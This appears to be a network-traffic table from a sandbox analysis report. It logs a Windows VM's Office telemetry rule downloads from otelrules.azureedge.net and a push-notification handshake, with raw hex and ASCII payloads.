Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:14 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:14 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162514Z-16547b76f7fq9mcrhC1DFWq15w000000088000000000rz5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:15 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:14 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:14 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 6bd3c087-001e-000b-13fd-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162514Z-16547b76f7f9bs6dhC1DFWt3rg000000089g00000000n870 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:15 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:14 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:15 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 9ed27c23-f01e-0020-6955-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162515Z-15869dbbcc62nmdhhC1DFWg2r400000001h000000000rd5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:15 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:14 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:15 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bdee48f1-701e-0053-2d03-2f3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162515Z-17df447cdb5qkskwhC1DFWeeg400000004s0000000006n8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:15 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 901b5174-401e-0067-1982-3009c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162515Z-17df447cdb56mx55hC1DFWvbt400000001qg00000000238p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49736	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:15 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2b 4b 7a 66 44 41 57 7a 6c 30 4f 31 4e 4c 34 57 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 64 34 33 37 39 62 30 38 37 62 36 37 62 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: +KzfDAWzl0O1NL4W.1Context: 20d4379b087b67bf
2024-11-07 16:25:15 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-07 16:25:15 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2b 4b 7a 66 44 41 57 7a 6c 30 4f 31 4e 4c 34 57 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 64 34 33 37 39 62 30 38 37 62 36 37 62 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: +KzfDAWzl0O1NL4W.2Context: 20d4379b087b67bf<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-07 16:25:15 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2b 4b 7a 66 44 41 57 7a 6c 30 4f 31 4e 4c 34 57 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 30 64 34 33 37 39 62 30 38 37 62 36 37 62 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: +KzfDAWzl0O1NL4W.3Context: 20d4379b087b67bf<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-07 16:25:15 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-07 16:25:15 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 43 66 65 66 43 43 6e 75 45 2b 35 59 6a 57 4c 2f 4e 6e 66 38 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: SCfefCCnuE+5YjWL/Nnf8w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:15 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: ec63dfab-b01e-0070-13a0-301cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162515Z-17df447cdb54qlp6hC1DFWqcfc00000004g000000000h383 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:15 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 764b7f95-c01e-00a1-1c00-2d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162515Z-16547b76f7fdf69shC1DFWcpd0000000089000000000dx07 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:15 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:15 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:15 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: d33e01be-001e-0082-0958-2e5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162515Z-15869dbbcc6ss7fxhC1DFWq6vs00000001qg00000000ae44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:15 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:15 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:16 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: a07dceec-d01e-0066-4c3b-2eea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162516Z-15869dbbcc6ss7fxhC1DFWq6vs00000001t0000000001xe2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:15 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:16 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 2398beba-501e-007b-298e-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162516Z-15869dbbcc6khw88hC1DFWbb2000000001ug00000000qy85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
